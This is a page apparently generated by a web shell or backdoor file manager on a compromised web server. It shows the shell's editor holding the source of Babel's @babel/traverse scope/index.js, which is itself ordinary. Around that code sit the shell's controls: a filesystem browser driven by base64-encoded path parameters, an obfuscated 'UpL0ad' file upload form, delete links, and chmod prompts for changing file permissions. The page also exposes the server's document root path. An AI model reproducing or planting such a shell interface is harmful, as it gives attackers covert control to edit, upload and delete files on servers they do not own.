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<hr>index.js<form method=post action="?d=L3Vzci9zaGFyZS9ub2RlanMvQGJhYmVsL3RyYXZlcnNlL2xpYi9zY29wZQ%3D%3D&f=aW5kZXguanM%3D"><input name="f" value="index.js"><textarea name="t">&quot;use strict&quot;;

Object.defineProperty(exports, &quot;__esModule&quot;, {
  value: true
});
exports.default = void 0;
var _renamer = require(&quot;./lib/renamer&quot;);
var _index = require(&quot;../index&quot;);
var _binding = require(&quot;./binding&quot;);
var _globals = require(&quot;globals&quot;);
var _t = require(&quot;@babel/types&quot;);
var _cache = require(&quot;../cache&quot;);
const {
  NOT_LOCAL_BINDING,
  callExpression,
  cloneNode,
  getBindingIdentifiers,
  identifier,
  isArrayExpression,
  isBinary,
  isClass,
  isClassBody,
  isClassDeclaration,
  isExportAllDeclaration,
  isExportDefaultDeclaration,
  isExportNamedDeclaration,
  isFunctionDeclaration,
  isIdentifier,
  isImportDeclaration,
  isLiteral,
  isMethod,
  isModuleSpecifier,
  isNullLiteral,
  isObjectExpression,
  isProperty,
  isPureish,
  isRegExpLiteral,
  isSuper,
  isTaggedTemplateExpression,
  isTemplateLiteral,
  isThisExpression,
  isUnaryExpression,
  isVariableDeclaration,
  matchesPattern,
  memberExpression,
  numericLiteral,
  toIdentifier,
  unaryExpression,
  variableDeclaration,
  variableDeclarator,
  isRecordExpression,
  isTupleExpression,
  isObjectProperty,
  isTopicReference,
  isMetaProperty,
  isPrivateName,
  isExportDeclaration
} = _t;
function gatherNodeParts(node, parts) {
  switch (node == null ? void 0 : node.type) {
    default:
      if (isImportDeclaration(node) || isExportDeclaration(node)) {
        if ((isExportAllDeclaration(node) || isExportNamedDeclaration(node) || isImportDeclaration(node)) &amp;&amp; node.source) {
          gatherNodeParts(node.source, parts);
        } else if ((isExportNamedDeclaration(node) || isImportDeclaration(node)) &amp;&amp; node.specifiers &amp;&amp; node.specifiers.length) {
          for (const e of node.specifiers) gatherNodeParts(e, parts);
        } else if ((isExportDefaultDeclaration(node) || isExportNamedDeclaration(node)) &amp;&amp; node.declaration) {
          gatherNodeParts(node.declaration, parts);
        }
      } else if (isModuleSpecifier(node)) {
        gatherNodeParts(node.local, parts);
      } else if (isLiteral(node) &amp;&amp; !isNullLiteral(node) &amp;&amp; !isRegExpLiteral(node) &amp;&amp; !isTemplateLiteral(node)) {
        parts.push(node.value);
      }
      break;
    case &quot;MemberExpression&quot;:
    case &quot;OptionalMemberExpression&quot;:
    case &quot;JSXMemberExpression&quot;:
      gatherNodeParts(node.object, parts);
      gatherNodeParts(node.property, parts);
      break;
    case &quot;Identifier&quot;:
    case &quot;JSXIdentifier&quot;:
      parts.push(node.name);
      break;
    case &quot;CallExpression&quot;:
    case &quot;OptionalCallExpression&quot;:
    case &quot;NewExpression&quot;:
      gatherNodeParts(node.callee, parts);
      break;
    case &quot;ObjectExpression&quot;:
    case &quot;ObjectPattern&quot;:
      for (const e of node.properties) {
        gatherNodeParts(e, parts);
      }
      break;
    case &quot;SpreadElement&quot;:
    case &quot;RestElement&quot;:
      gatherNodeParts(node.argument, parts);
      break;
    case &quot;ObjectProperty&quot;:
    case &quot;ObjectMethod&quot;:
    case &quot;ClassProperty&quot;:
    case &quot;ClassMethod&quot;:
    case &quot;ClassPrivateProperty&quot;:
    case &quot;ClassPrivateMethod&quot;:
      gatherNodeParts(node.key, parts);
      break;
    case &quot;ThisExpression&quot;:
      parts.push(&quot;this&quot;);
      break;
    case &quot;Super&quot;:
      parts.push(&quot;super&quot;);
      break;
    case &quot;Import&quot;:
      parts.push(&quot;import&quot;);
      break;
    case &quot;DoExpression&quot;:
      parts.push(&quot;do&quot;);
      break;
    case &quot;YieldExpression&quot;:
      parts.push(&quot;yield&quot;);
      gatherNodeParts(node.argument, parts);
      break;
    case &quot;AwaitExpression&quot;:
      parts.push(&quot;await&quot;);
      gatherNodeParts(node.argument, parts);
      break;
    case &quot;AssignmentExpression&quot;:
      gatherNodeParts(node.left, parts);
      break;
    case &quot;VariableDeclarator&quot;:
      gatherNodeParts(node.id, parts);
      break;
    case &quot;FunctionExpression&quot;:
    case &quot;FunctionDeclaration&quot;:
    case &quot;ClassExpression&quot;:
    case &quot;ClassDeclaration&quot;:
      gatherNodeParts(node.id, parts);
      break;
    case &quot;PrivateName&quot;:
      gatherNodeParts(node.id, parts);
      break;
    case &quot;ParenthesizedExpression&quot;:
      gatherNodeParts(node.expression, parts);
      break;
    case &quot;UnaryExpression&quot;:
    case &quot;UpdateExpression&quot;:
      gatherNodeParts(node.argument, parts);
      break;
    case &quot;MetaProperty&quot;:
      gatherNodeParts(node.meta, parts);
      gatherNodeParts(node.property, parts);
      break;
    case &quot;JSXElement&quot;:
      gatherNodeParts(node.openingElement, parts);
      break;
    case &quot;JSXOpeningElement&quot;:
      gatherNodeParts(node.name, parts);
      break;
    case &quot;JSXFragment&quot;:
      gatherNodeParts(node.openingFragment, parts);
      break;
    case &quot;JSXOpeningFragment&quot;:
      parts.push(&quot;Fragment&quot;);
      break;
    case &quot;JSXNamespacedName&quot;:
      gatherNodeParts(node.namespace, parts);
      gatherNodeParts(node.name, parts);
      break;
  }
}
const collectorVisitor = {
  ForStatement(path) {
    const declar = path.get(&quot;init&quot;);
    if (declar.isVar()) {
      const {
        scope
      } = path;
      const parentScope = scope.getFunctionParent() || scope.getProgramParent();
      parentScope.registerBinding(&quot;var&quot;, declar);
    }
  },
  Declaration(path) {
    if (path.isBlockScoped()) return;
    if (path.isImportDeclaration()) return;
    if (path.isExportDeclaration()) return;
    const parent = path.scope.getFunctionParent() || path.scope.getProgramParent();
    parent.registerDeclaration(path);
  },
  ImportDeclaration(path) {
    const parent = path.scope.getBlockParent();
    parent.registerDeclaration(path);
  },
  ReferencedIdentifier(path, state) {
    state.references.push(path);
  },
  ForXStatement(path, state) {
    const left = path.get(&quot;left&quot;);
    if (left.isPattern() || left.isIdentifier()) {
      state.constantViolations.push(path);
    } else if (left.isVar()) {
      const {
        scope
      } = path;
      const parentScope = scope.getFunctionParent() || scope.getProgramParent();
      parentScope.registerBinding(&quot;var&quot;, left);
    }
  },
  ExportDeclaration: {
    exit(path) {
      const {
        node,
        scope
      } = path;
      if (isExportAllDeclaration(node)) return;
      const declar = node.declaration;
      if (isClassDeclaration(declar) || isFunctionDeclaration(declar)) {
        const id = declar.id;
        if (!id) return;
        const binding = scope.getBinding(id.name);
        binding == null ? void 0 : binding.reference(path);
      } else if (isVariableDeclaration(declar)) {
        for (const decl of declar.declarations) {
          for (const name of Object.keys(getBindingIdentifiers(decl))) {
            const binding = scope.getBinding(name);
            binding == null ? void 0 : binding.reference(path);
          }
        }
      }
    }
  },
  LabeledStatement(path) {
    path.scope.getBlockParent().registerDeclaration(path);
  },
  AssignmentExpression(path, state) {
    state.assignments.push(path);
  },
  UpdateExpression(path, state) {
    state.constantViolations.push(path);
  },
  UnaryExpression(path, state) {
    if (path.node.operator === &quot;delete&quot;) {
      state.constantViolations.push(path);
    }
  },
  BlockScoped(path) {
    let scope = path.scope;
    if (scope.path === path) scope = scope.parent;
    const parent = scope.getBlockParent();
    parent.registerDeclaration(path);
    if (path.isClassDeclaration() &amp;&amp; path.node.id) {
      const id = path.node.id;
      const name = id.name;
      path.scope.bindings[name] = path.scope.parent.getBinding(name);
    }
  },
  CatchClause(path) {
    path.scope.registerBinding(&quot;let&quot;, path);
  },
  Function(path) {
    const params = path.get(&quot;params&quot;);
    for (const param of params) {
      path.scope.registerBinding(&quot;param&quot;, param);
    }
    if (path.isFunctionExpression() &amp;&amp; path.has(&quot;id&quot;) &amp;&amp; !path.get(&quot;id&quot;).node[NOT_LOCAL_BINDING]) {
      path.scope.registerBinding(&quot;local&quot;, path.get(&quot;id&quot;), path);
    }
  },
  ClassExpression(path) {
    if (path.has(&quot;id&quot;) &amp;&amp; !path.get(&quot;id&quot;).node[NOT_LOCAL_BINDING]) {
      path.scope.registerBinding(&quot;local&quot;, path);
    }
  }
};
let uid = 0;
class Scope {
  constructor(path) {
    this.uid = void 0;
    this.path = void 0;
    this.block = void 0;
    this.labels = void 0;
    this.inited = void 0;
    this.bindings = void 0;
    this.references = void 0;
    this.globals = void 0;
    this.uids = void 0;
    this.data = void 0;
    this.crawling = void 0;
    const {
      node
    } = path;
    const cached = _cache.scope.get(node);
    if ((cached == null ? void 0 : cached.path) === path) {
      return cached;
    }
    _cache.scope.set(node, this);
    this.uid = uid++;
    this.block = node;
    this.path = path;
    this.labels = new Map();
    this.inited = false;
  }
  get parent() {
    var _parent;
    let parent,
      path = this.path;
    do {
      const shouldSkip = path.key === &quot;key&quot; || path.listKey === &quot;decorators&quot;;
      path = path.parentPath;
      if (shouldSkip &amp;&amp; path.isMethod()) path = path.parentPath;
      if (path &amp;&amp; path.isScope()) parent = path;
    } while (path &amp;&amp; !parent);
    return (_parent = parent) == null ? void 0 : _parent.scope;
  }
  get parentBlock() {
    return this.path.parent;
  }
  get hub() {
    return this.path.hub;
  }
  traverse(node, opts, state) {
    (0, _index.default)(node, opts, this, state, this.path);
  }
  generateDeclaredUidIdentifier(name) {
    const id = this.generateUidIdentifier(name);
    this.push({
      id
    });
    return cloneNode(id);
  }
  generateUidIdentifier(name) {
    return identifier(this.generateUid(name));
  }
  generateUid(name = &quot;temp&quot;) {
    name = toIdentifier(name).replace(/^_+/, &quot;&quot;).replace(/[0-9]+$/g, &quot;&quot;);
    let uid;
    let i = 1;
    do {
      uid = this._generateUid(name, i);
      i++;
    } while (this.hasLabel(uid) || this.hasBinding(uid) || this.hasGlobal(uid) || this.hasReference(uid));
    const program = this.getProgramParent();
    program.references[uid] = true;
    program.uids[uid] = true;
    return uid;
  }
  _generateUid(name, i) {
    let id = name;
    if (i &gt; 1) id += i;
    return `_${id}`;
  }
  generateUidBasedOnNode(node, defaultName) {
    const parts = [];
    gatherNodeParts(node, parts);
    let id = parts.join(&quot;$&quot;);
    id = id.replace(/^_/, &quot;&quot;) || defaultName || &quot;ref&quot;;
    return this.generateUid(id.slice(0, 20));
  }
  generateUidIdentifierBasedOnNode(node, defaultName) {
    return identifier(this.generateUidBasedOnNode(node, defaultName));
  }
  isStatic(node) {
    if (isThisExpression(node) || isSuper(node) || isTopicReference(node)) {
      return true;
    }
    if (isIdentifier(node)) {
      const binding = this.getBinding(node.name);
      if (binding) {
        return binding.constant;
      } else {
        return this.hasBinding(node.name);
      }
    }
    return false;
  }
  maybeGenerateMemoised(node, dontPush) {
    if (this.isStatic(node)) {
      return null;
    } else {
      const id = this.generateUidIdentifierBasedOnNode(node);
      if (!dontPush) {
        this.push({
          id
        });
        return cloneNode(id);
      }
      return id;
    }
  }
  checkBlockScopedCollisions(local, kind, name, id) {
    if (kind === &quot;param&quot;) return;
    if (local.kind === &quot;local&quot;) return;
    const duplicate = kind === &quot;let&quot; || local.kind === &quot;let&quot; || local.kind === &quot;const&quot; || local.kind === &quot;module&quot; || local.kind === &quot;param&quot; &amp;&amp; kind === &quot;const&quot;;
    if (duplicate) {
      throw this.hub.buildError(id, `Duplicate declaration &quot;${name}&quot;`, TypeError);
    }
  }
  rename(oldName, newName) {
    const binding = this.getBinding(oldName);
    if (binding) {
      newName || (newName = this.generateUidIdentifier(oldName).name);
      const renamer = new _renamer.default(binding, oldName, newName);
      return renamer.rename(arguments[2]);
    }
  }
  _renameFromMap(map, oldName, newName, value) {
    if (map[oldName]) {
      map[newName] = value;
      map[oldName] = null;
    }
  }
  dump() {
    const sep = &quot;-&quot;.repeat(60);
    console.log(sep);
    let scope = this;
    do {
      console.log(&quot;#&quot;, scope.block.type);
      for (const name of Object.keys(scope.bindings)) {
        const binding = scope.bindings[name];
        console.log(&quot; -&quot;, name, {
          constant: binding.constant,
          references: binding.references,
          violations: binding.constantViolations.length,
          kind: binding.kind
        });
      }
    } while (scope = scope.parent);
    console.log(sep);
  }
  toArray(node, i, arrayLikeIsIterable) {
    if (isIdentifier(node)) {
      const binding = this.getBinding(node.name);
      if (binding != null &amp;&amp; binding.constant &amp;&amp; binding.path.isGenericType(&quot;Array&quot;)) {
        return node;
      }
    }
    if (isArrayExpression(node)) {
      return node;
    }
    if (isIdentifier(node, {
      name: &quot;arguments&quot;
    })) {
      return callExpression(memberExpression(memberExpression(memberExpression(identifier(&quot;Array&quot;), identifier(&quot;prototype&quot;)), identifier(&quot;slice&quot;)), identifier(&quot;call&quot;)), [node]);
    }
    let helperName;
    const args = [node];
    if (i === true) {
      helperName = &quot;toConsumableArray&quot;;
    } else if (typeof i === &quot;number&quot;) {
      args.push(numericLiteral(i));
      helperName = &quot;slicedToArray&quot;;
    } else {
      helperName = &quot;toArray&quot;;
    }
    if (arrayLikeIsIterable) {
      args.unshift(this.hub.addHelper(helperName));
      helperName = &quot;maybeArrayLike&quot;;
    }
    return callExpression(this.hub.addHelper(helperName), args);
  }
  hasLabel(name) {
    return !!this.getLabel(name);
  }
  getLabel(name) {
    return this.labels.get(name);
  }
  registerLabel(path) {
    this.labels.set(path.node.label.name, path);
  }
  registerDeclaration(path) {
    if (path.isLabeledStatement()) {
      this.registerLabel(path);
    } else if (path.isFunctionDeclaration()) {
      this.registerBinding(&quot;hoisted&quot;, path.get(&quot;id&quot;), path);
    } else if (path.isVariableDeclaration()) {
      const declarations = path.get(&quot;declarations&quot;);
      const {
        kind
      } = path.node;
      for (const declar of declarations) {
        this.registerBinding(kind === &quot;using&quot; ? &quot;const&quot; : kind, declar);
      }
    } else if (path.isClassDeclaration()) {
      if (path.node.declare) return;
      this.registerBinding(&quot;let&quot;, path);
    } else if (path.isImportDeclaration()) {
      const isTypeDeclaration = path.node.importKind === &quot;type&quot; || path.node.importKind === &quot;typeof&quot;;
      const specifiers = path.get(&quot;specifiers&quot;);
      for (const specifier of specifiers) {
        const isTypeSpecifier = isTypeDeclaration || specifier.isImportSpecifier() &amp;&amp; (specifier.node.importKind === &quot;type&quot; || specifier.node.importKind === &quot;typeof&quot;);
        this.registerBinding(isTypeSpecifier ? &quot;unknown&quot; : &quot;module&quot;, specifier);
      }
    } else if (path.isExportDeclaration()) {
      const declar = path.get(&quot;declaration&quot;);
      if (declar.isClassDeclaration() || declar.isFunctionDeclaration() || declar.isVariableDeclaration()) {
        this.registerDeclaration(declar);
      }
    } else {
      this.registerBinding(&quot;unknown&quot;, path);
    }
  }
  buildUndefinedNode() {
    return unaryExpression(&quot;void&quot;, numericLiteral(0), true);
  }
  registerConstantViolation(path) {
    const ids = path.getBindingIdentifiers();
    for (const name of Object.keys(ids)) {
      const binding = this.getBinding(name);
      if (binding) binding.reassign(path);
    }
  }
  registerBinding(kind, path, bindingPath = path) {
    if (!kind) throw new ReferenceError(&quot;no `kind`&quot;);
    if (path.isVariableDeclaration()) {
      const declarators = path.get(&quot;declarations&quot;);
      for (const declar of declarators) {
        this.registerBinding(kind, declar);
      }
      return;
    }
    const parent = this.getProgramParent();
    const ids = path.getOuterBindingIdentifiers(true);
    for (const name of Object.keys(ids)) {
      parent.references[name] = true;
      for (const id of ids[name]) {
        const local = this.getOwnBinding(name);
        if (local) {
          if (local.identifier === id) continue;
          this.checkBlockScopedCollisions(local, kind, name, id);
        }
        if (local) {
          this.registerConstantViolation(bindingPath);
        } else {
          this.bindings[name] = new _binding.default({
            identifier: id,
            scope: this,
            path: bindingPath,
            kind: kind
          });
        }
      }
    }
  }
  addGlobal(node) {
    this.globals[node.name] = node;
  }
  hasUid(name) {
    let scope = this;
    do {
      if (scope.uids[name]) return true;
    } while (scope = scope.parent);
    return false;
  }
  hasGlobal(name) {
    let scope = this;
    do {
      if (scope.globals[name]) return true;
    } while (scope = scope.parent);
    return false;
  }
  hasReference(name) {
    return !!this.getProgramParent().references[name];
  }
  isPure(node, constantsOnly) {
    if (isIdentifier(node)) {
      const binding = this.getBinding(node.name);
      if (!binding) return false;
      if (constantsOnly) return binding.constant;
      return true;
    } else if (isThisExpression(node) || isMetaProperty(node) || isTopicReference(node) || isPrivateName(node)) {
      return true;
    } else if (isClass(node)) {
      var _node$decorators;
      if (node.superClass &amp;&amp; !this.isPure(node.superClass, constantsOnly)) {
        return false;
      }
      if (((_node$decorators = node.decorators) == null ? void 0 : _node$decorators.length) &gt; 0) {
        return false;
      }
      return this.isPure(node.body, constantsOnly);
    } else if (isClassBody(node)) {
      for (const method of node.body) {
        if (!this.isPure(method, constantsOnly)) return false;
      }
      return true;
    } else if (isBinary(node)) {
      return this.isPure(node.left, constantsOnly) &amp;&amp; this.isPure(node.right, constantsOnly);
    } else if (isArrayExpression(node) || isTupleExpression(node)) {
      for (const elem of node.elements) {
        if (elem !== null &amp;&amp; !this.isPure(elem, constantsOnly)) return false;
      }
      return true;
    } else if (isObjectExpression(node) || isRecordExpression(node)) {
      for (const prop of node.properties) {
        if (!this.isPure(prop, constantsOnly)) return false;
      }
      return true;
    } else if (isMethod(node)) {
      var _node$decorators2;
      if (node.computed &amp;&amp; !this.isPure(node.key, constantsOnly)) return false;
      if (((_node$decorators2 = node.decorators) == null ? void 0 : _node$decorators2.length) &gt; 0) {
        return false;
      }
      return true;
    } else if (isProperty(node)) {
      var _node$decorators3;
      if (node.computed &amp;&amp; !this.isPure(node.key, constantsOnly)) return false;
      if (((_node$decorators3 = node.decorators) == null ? void 0 : _node$decorators3.length) &gt; 0) {
        return false;
      }
      if (isObjectProperty(node) || node.static) {
        if (node.value !== null &amp;&amp; !this.isPure(node.value, constantsOnly)) {
          return false;
        }
      }
      return true;
    } else if (isUnaryExpression(node)) {
      return this.isPure(node.argument, constantsOnly);
    } else if (isTaggedTemplateExpression(node)) {
      return matchesPattern(node.tag, &quot;String.raw&quot;) &amp;&amp; !this.hasBinding(&quot;String&quot;, true) &amp;&amp; this.isPure(node.quasi, constantsOnly);
    } else if (isTemplateLiteral(node)) {
      for (const expression of node.expressions) {
        if (!this.isPure(expression, constantsOnly)) return false;
      }
      return true;
    } else {
      return isPureish(node);
    }
  }
  setData(key, val) {
    return this.data[key] = val;
  }
  getData(key) {
    let scope = this;
    do {
      const data = scope.data[key];
      if (data != null) return data;
    } while (scope = scope.parent);
  }
  removeData(key) {
    let scope = this;
    do {
      const data = scope.data[key];
      if (data != null) scope.data[key] = null;
    } while (scope = scope.parent);
  }
  init() {
    if (!this.inited) {
      this.inited = true;
      this.crawl();
    }
  }
  crawl() {
    const path = this.path;
    this.references = Object.create(null);
    this.bindings = Object.create(null);
    this.globals = Object.create(null);
    this.uids = Object.create(null);
    this.data = Object.create(null);
    const programParent = this.getProgramParent();
    if (programParent.crawling) return;
    const state = {
      references: [],
      constantViolations: [],
      assignments: []
    };
    this.crawling = true;
    if (path.type !== &quot;Program&quot; &amp;&amp; collectorVisitor._exploded) {
      for (const visit of collectorVisitor.enter) {
        visit(path, state);
      }
      const typeVisitors = collectorVisitor[path.type];
      if (typeVisitors) {
        for (const visit of typeVisitors.enter) {
          visit(path, state);
        }
      }
    }
    path.traverse(collectorVisitor, state);
    this.crawling = false;
    for (const path of state.assignments) {
      const ids = path.getBindingIdentifiers();
      for (const name of Object.keys(ids)) {
        if (path.scope.getBinding(name)) continue;
        programParent.addGlobal(ids[name]);
      }
      path.scope.registerConstantViolation(path);
    }
    for (const ref of state.references) {
      const binding = ref.scope.getBinding(ref.node.name);
      if (binding) {
        binding.reference(ref);
      } else {
        programParent.addGlobal(ref.node);
      }
    }
    for (const path of state.constantViolations) {
      path.scope.registerConstantViolation(path);
    }
  }
  push(opts) {
    let path = this.path;
    if (path.isPattern()) {
      path = this.getPatternParent().path;
    } else if (!path.isBlockStatement() &amp;&amp; !path.isProgram()) {
      path = this.getBlockParent().path;
    }
    if (path.isSwitchStatement()) {
      path = (this.getFunctionParent() || this.getProgramParent()).path;
    }
    if (path.isLoop() || path.isCatchClause() || path.isFunction()) {
      path.ensureBlock();
      path = path.get(&quot;body&quot;);
    }
    const unique = opts.unique;
    const kind = opts.kind || &quot;var&quot;;
    const blockHoist = opts._blockHoist == null ? 2 : opts._blockHoist;
    const dataKey = `declaration:${kind}:${blockHoist}`;
    let declarPath = !unique &amp;&amp; path.getData(dataKey);
    if (!declarPath) {
      const declar = variableDeclaration(kind, []);
      declar._blockHoist = blockHoist;
      [declarPath] = path.unshiftContainer(&quot;body&quot;, [declar]);
      if (!unique) path.setData(dataKey, declarPath);
    }
    const declarator = variableDeclarator(opts.id, opts.init);
    const len = declarPath.node.declarations.push(declarator);
    path.scope.registerBinding(kind, declarPath.get(&quot;declarations&quot;)[len - 1]);
  }
  getProgramParent() {
    let scope = this;
    do {
      if (scope.path.isProgram()) {
        return scope;
      }
    } while (scope = scope.parent);
    throw new Error(&quot;Couldn't find a Program&quot;);
  }
  getFunctionParent() {
    let scope = this;
    do {
      if (scope.path.isFunctionParent()) {
        return scope;
      }
    } while (scope = scope.parent);
    return null;
  }
  getBlockParent() {
    let scope = this;
    do {
      if (scope.path.isBlockParent()) {
        return scope;
      }
    } while (scope = scope.parent);
    throw new Error(&quot;We couldn't find a BlockStatement, For, Switch, Function, Loop or Program...&quot;);
  }
  getPatternParent() {
    let scope = this;
    do {
      if (!scope.path.isPattern()) {
        return scope.getBlockParent();
      }
    } while (scope = scope.parent.parent);
    throw new Error(&quot;We couldn't find a BlockStatement, For, Switch, Function, Loop or Program...&quot;);
  }
  getAllBindings() {
    const ids = Object.create(null);
    let scope = this;
    do {
      for (const key of Object.keys(scope.bindings)) {
        if (key in ids === false) {
          ids[key] = scope.bindings[key];
        }
      }
      scope = scope.parent;
    } while (scope);
    return ids;
  }
  getAllBindingsOfKind(...kinds) {
    const ids = Object.create(null);
    for (const kind of kinds) {
      let scope = this;
      do {
        for (const name of Object.keys(scope.bindings)) {
          const binding = scope.bindings[name];
          if (binding.kind === kind) ids[name] = binding;
        }
        scope = scope.parent;
      } while (scope);
    }
    return ids;
  }
  bindingIdentifierEquals(name, node) {
    return this.getBindingIdentifier(name) === node;
  }
  getBinding(name) {
    let scope = this;
    let previousPath;
    do {
      const binding = scope.getOwnBinding(name);
      if (binding) {
        var _previousPath;
        if ((_previousPath = previousPath) != null &amp;&amp; _previousPath.isPattern() &amp;&amp; binding.kind !== &quot;param&quot; &amp;&amp; binding.kind !== &quot;local&quot;) {} else {
          return binding;
        }
      } else if (!binding &amp;&amp; name === &quot;arguments&quot; &amp;&amp; scope.path.isFunction() &amp;&amp; !scope.path.isArrowFunctionExpression()) {
        break;
      }
      previousPath = scope.path;
    } while (scope = scope.parent);
  }
  getOwnBinding(name) {
    return this.bindings[name];
  }
  getBindingIdentifier(name) {
    var _this$getBinding;
    return (_this$getBinding = this.getBinding(name)) == null ? void 0 : _this$getBinding.identifier;
  }
  getOwnBindingIdentifier(name) {
    const binding = this.bindings[name];
    return binding == null ? void 0 : binding.identifier;
  }
  hasOwnBinding(name) {
    return !!this.getOwnBinding(name);
  }
  hasBinding(name, opts) {
    var _opts, _opts2, _opts3;
    if (!name) return false;
    if (this.hasOwnBinding(name)) return true;
    {
      if (typeof opts === &quot;boolean&quot;) opts = {
        noGlobals: opts
      };
    }
    if (this.parentHasBinding(name, opts)) return true;
    if (!((_opts = opts) != null &amp;&amp; _opts.noUids) &amp;&amp; this.hasUid(name)) return true;
    if (!((_opts2 = opts) != null &amp;&amp; _opts2.noGlobals) &amp;&amp; Scope.globals.includes(name)) return true;
    if (!((_opts3 = opts) != null &amp;&amp; _opts3.noGlobals) &amp;&amp; Scope.contextVariables.includes(name)) return true;
    return false;
  }
  parentHasBinding(name, opts) {
    var _this$parent;
    return (_this$parent = this.parent) == null ? void 0 : _this$parent.hasBinding(name, opts);
  }
  moveBindingTo(name, scope) {
    const info = this.getBinding(name);
    if (info) {
      info.scope.removeOwnBinding(name);
      info.scope = scope;
      scope.bindings[name] = info;
    }
  }
  removeOwnBinding(name) {
    delete this.bindings[name];
  }
  removeBinding(name) {
    var _this$getBinding2;
    (_this$getBinding2 = this.getBinding(name)) == null ? void 0 : _this$getBinding2.scope.removeOwnBinding(name);
    let scope = this;
    do {
      if (scope.uids[name]) {
        scope.uids[name] = false;
      }
    } while (scope = scope.parent);
  }
}
exports.default = Scope;
Scope.globals = Object.keys(_globals.builtin);
Scope.contextVariables = [&quot;arguments&quot;, &quot;undefined&quot;, &quot;Infinity&quot;, &quot;NaN&quot;];

//# sourceMappingURL=index.js.map
</textarea><input type=submit value=update></form><hr>docroot: <a href="?d=L3Zhci93d3cvZTM1ZjUxNmEtZTYyOS00NWU1LThjMGYtMzg4OWYyMGEyNDkzL3B1YmxpY19odG1s">/var/www/e35f516a-e629-45e5-8c0f-3889f20a2493/public_html</a><hr>curdir: /usr/share/nodejs/@babel/traverse/lib/scope<form method="post" action="#" enctype="multipart/form-data"><input type="file" name="u"><input type="submit" value="UpL0ad"></form><table border=1><tr><td></td><td><a href="?d=L3Vzci9zaGFyZS9ub2RlanMvQGJhYmVsL3RyYXZlcnNlL2xpYi9zY29wZQ=="/>.</a></td><td><input type="button" onclick="c=prompt(`chmod:`,this.value),c?location.href=`?d=L3Vzci9zaGFyZS9ub2RlanMvQGJhYmVsL3RyYXZlcnNlL2xpYi9zY29wZQ==&f=Lg==&c=`+btoa(c):0" value="0755"></td><td>4096</td></tr><tr><td></td><td><a href="?d=L3Vzci9zaGFyZS9ub2RlanMvQGJhYmVsL3RyYXZlcnNlL2xpYg=="/>..</a></td><td><input type="button" onclick="c=prompt(`chmod:`,this.value),c?location.href=`?d=L3Vzci9zaGFyZS9ub2RlanMvQGJhYmVsL3RyYXZlcnNlL2xpYi9zY29wZQ==&f=Li4=&c=`+btoa(c):0" value="0755"></td><td>4096</td></tr><tr><td><a href="?d=L3Vzci9zaGFyZS9ub2RlanMvQGJhYmVsL3RyYXZlcnNlL2xpYi9zY29wZQ==&x=YmluZGluZy5qcw==">X</a></td><td><a href="?d=L3Vzci9zaGFyZS9ub2RlanMvQGJhYmVsL3RyYXZlcnNlL2xpYi9zY29wZQ==&f=YmluZGluZy5qcw=="/>binding.js</a></td><td><input type="button" onclick="c=prompt(`chmod:`,this.value),c?location.href=`?d=L3Vzci9zaGFyZS9ub2RlanMvQGJhYmVsL3RyYXZlcnNlL2xpYi9zY29wZQ==&f=YmluZGluZy5qcw==&c=`+btoa(c):0" value="0644"></td><td>1909</td></tr><tr><td><a href="?d=L3Vzci9zaGFyZS9ub2RlanMvQGJhYmVsL3RyYXZlcnNlL2xpYi9zY29wZQ==&x=aW5kZXguanM=">X</a></td><td><a href="?d=L3Vzci9zaGFyZS9ub2RlanMvQGJhYmVsL3RyYXZlcnNlL2xpYi9zY29wZQ==&f=aW5kZXguanM="/>index.js</a></td><td><input type="button" onclick="c=prompt(`chmod:`,this.value),c?location.href=`?d=L3Vzci9zaGFyZS9ub2RlanMvQGJhYmVsL3RyYXZlcnNlL2xpYi9zY29wZQ==&f=aW5kZXguanM=&c=`+btoa(c):0" value="0644"></td><td>26840</td></tr><tr><td></td><td><a href="?d=L3Vzci9zaGFyZS9ub2RlanMvQGJhYmVsL3RyYXZlcnNlL2xpYi9zY29wZS9saWI="/>lib</a></td><td><input type="button" onclick="c=prompt(`chmod:`,this.value),c?location.href=`?d=L3Vzci9zaGFyZS9ub2RlanMvQGJhYmVsL3RyYXZlcnNlL2xpYi9zY29wZQ==&f=bGli&c=`+btoa(c):0" value="0755"></td><td>4096</td></tr></table>